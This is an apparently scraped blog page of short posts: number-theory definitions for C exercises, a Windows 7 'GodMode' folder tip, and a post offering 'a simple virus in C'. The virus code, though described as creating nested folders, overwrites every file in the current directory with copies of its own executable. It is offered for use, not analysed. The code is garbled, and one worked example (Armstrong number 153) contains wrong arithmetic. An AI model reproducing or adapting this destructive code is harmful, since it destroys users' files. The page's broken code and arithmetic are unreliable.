To Check Prime Number
A
natural number greater than one has not any other divisors except 1 and itself.
In other word we can say which has only two divisors 1 and number itself. For
example: 5
Their
divisors are 1 and 5.
Note: 2
is only even prime number.
Logic for
prime number in c
We will
take a loop and divide number from 2 to number/2. If the number is not divisible
by any of the numbers then we will print it as prime number.
Example of prime numbers : 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31,
37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109,
113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197,
199 etc.
Labels:
C Programs
To Check Armstrong Number
Definition of Armstrong number or what is an
Armstrong number:
Definition according to c programming point of view:
Those numbers which sum of the cube of its digits is equal to that number are known as Armstrong numbers. For example 153 since 1^3 + 5^3 + 3^3 = 1+ 125 + 9 =153
Other Armstrong numbers: 370,371,407 etc.
Labels:
C Programs
To Check Perfect Number
Definition
of perfect number or What is perfect number?
Perfect
number is a positive number which sum of all positive divisors excluding that
number is equal to that number. For example 6 is perfect number since divisor
of 6 are 1, 2 and 3. Sum of its divisor
is
1 + 2+ 3 =6
Note: 6 is the smallest perfect
number.
Next perfect number is 28 since 1+
2 + 4 + 7 + 14 = 28
Some more perfect numbers: 496,
8128
Labels:
C Programs
How To Make A Simple Virus In C
Run this on your own responsibility
/*This
is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......
It will create Folder in a Folder in a Folder and so on ......
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
If You Like iT, plzz CLICK HERE To SupporT Us
---------------------Please Give +1 If You Like It---------------------
Labels:
Tutorial
How to Activate GodMode in Windows 7
GodMode
is a folder that brings together a long list of customization
settings allowing you to change all your settings from one place.This
is very good as you can now change all your windows settings from one
single place.
Follow This steps to activate GOD MODE.
Step 1: Right click.
Step 2: Click create folder.
Step 3: Name your sparkly, new folder this, "GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}" and press enter.
Step 4: Blink as the folder changes form to look like the control panel.
Step 5: Open the folder and bask in all your godly, control panel-y power.
Follow This steps to activate GOD MODE.
Step 1: Right click.
Step 2: Click create folder.
Step 3: Name your sparkly, new folder this, "GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}" and press enter.
Step 4: Blink as the folder changes form to look like the control panel.
Step 5: Open the folder and bask in all your godly, control panel-y power.
That's it
If You Like iT, plzz CLICK HERE To SupporT Us
---------------------Please Give +1 If You Like It---------------------
Labels:
Tutorial